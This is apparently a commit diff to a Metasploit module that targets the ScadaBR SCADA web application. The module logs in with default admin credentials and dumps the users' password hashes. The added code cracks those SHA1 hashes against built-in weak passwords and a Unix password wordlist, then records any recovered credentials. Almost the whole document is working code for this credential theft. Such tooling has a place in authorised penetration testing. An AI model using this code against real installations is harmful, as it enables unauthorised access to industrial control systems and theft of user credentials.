@@ -30,7 +30,9 @@ def initialize(info = {})
30
30
Opt ::RPORT ( 8080 ) ,
31
31
OptString . new ( 'USERNAME' , [ true , 'The username for the application' , 'admin' ] ) ,
32
32
OptString . new ( 'PASSWORD' , [ true , 'The password for the application' , 'admin' ] ) ,
33
- OptString . new ( 'TARGETURI' , [ true , 'The base path to ScadaBR' , '/ScadaBR' ] )
33
+ OptString . new ( 'TARGETURI' , [ true , 'The base path to ScadaBR' , '/ScadaBR' ] ) ,
34
+ OptPath . new ( 'PASS_FILE' , [ false , 'Wordlist file to crack password hashes' ,
35
+ File . join ( Msf ::Config . data_directory , 'wordlists' , 'unix_passwords.txt' ) ] )
34
36
] )
35
37
end
36
38
@@ -106,6 +108,25 @@ def export_data
106
108
end
107
109
end
108
110
111
+ def load_wordlist ( wordlist )
112
+ return unless File . exist? wordlist
113
+ File . open ( wordlist , 'rb' ) . each_line do |line |
114
+ @wordlist << line . chomp
115
+ end
116
+ end
117
+
118
+ def crack ( user , hash )
119
+ return user if hash . eql? Rex ::Text . sha1 user
120
+ pass = nil
121
+ @wordlist . each do |word |
122
+ if hash . eql? Rex ::Text . sha1 word
123
+ pass = word
124
+ break
125
+ end
126
+ end
127
+ pass
128
+ end
129
+
109
130
def run
110
131
login datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ]
111
132
@@ -126,6 +147,9 @@ def run
126
147
print_error 'Found no user data'
127
148
else
128
149
print_good "Found #{ json [ 'users' ] . length } users"
150
+ @wordlist = *'0' ..'9' , *'A' ..'Z' , *'a' ..'z'
151
+ @wordlist . concat ( [ '12345' , 'admin' , 'password' , 'scada' , 'scadabr' ] )
152
+ load_wordlist datastore [ 'PASS_FILE' ] unless datastore [ 'PASS_FILE' ] . nil?
129
153
end
130
154
131
155
json [ 'users' ] . each do |user |
@@ -135,28 +159,19 @@ def run
135
159
admin = user [ 'admin' ]
136
160
mail = user [ 'email' ]
137
161
hash = Rex ::Text . decode_base64 ( user [ 'password' ] ) . unpack ( 'H*' ) . flatten . first
138
- pass = nil
139
-
140
- weak_passwords = '12345' , 'admin' , 'password' , 'scada' , 'scadabr' , username , mail . split ( '@' ) . first
141
- weak_passwords . each do |weak_password |
142
- if hash . eql? Rex ::Text . sha1 ( weak_password )
143
- pass = weak_password
144
- break
145
- end
146
- end
147
-
162
+ pass = crack username , hash
148
163
user_cred_table << [ username , pass , hash , admin , mail ]
149
164
150
165
if pass
151
166
print_status "Found weak credentials (#{ username } :#{ pass } )"
152
167
creds = { origin_type : :service ,
153
- module_fullname : self . fullname ,
168
+ module_fullname : fullname ,
154
169
private_type : :password ,
155
170
private_data : pass ,
156
171
username : user }
157
172
else
158
173
creds = { origin_type : :service ,
159
- module_fullname : self . fullname ,
174
+ module_fullname : fullname ,
160
175
private_type : :nonreplayable_hash ,
161
176
private_data : hash ,
162
177
username : user }
0 commit comments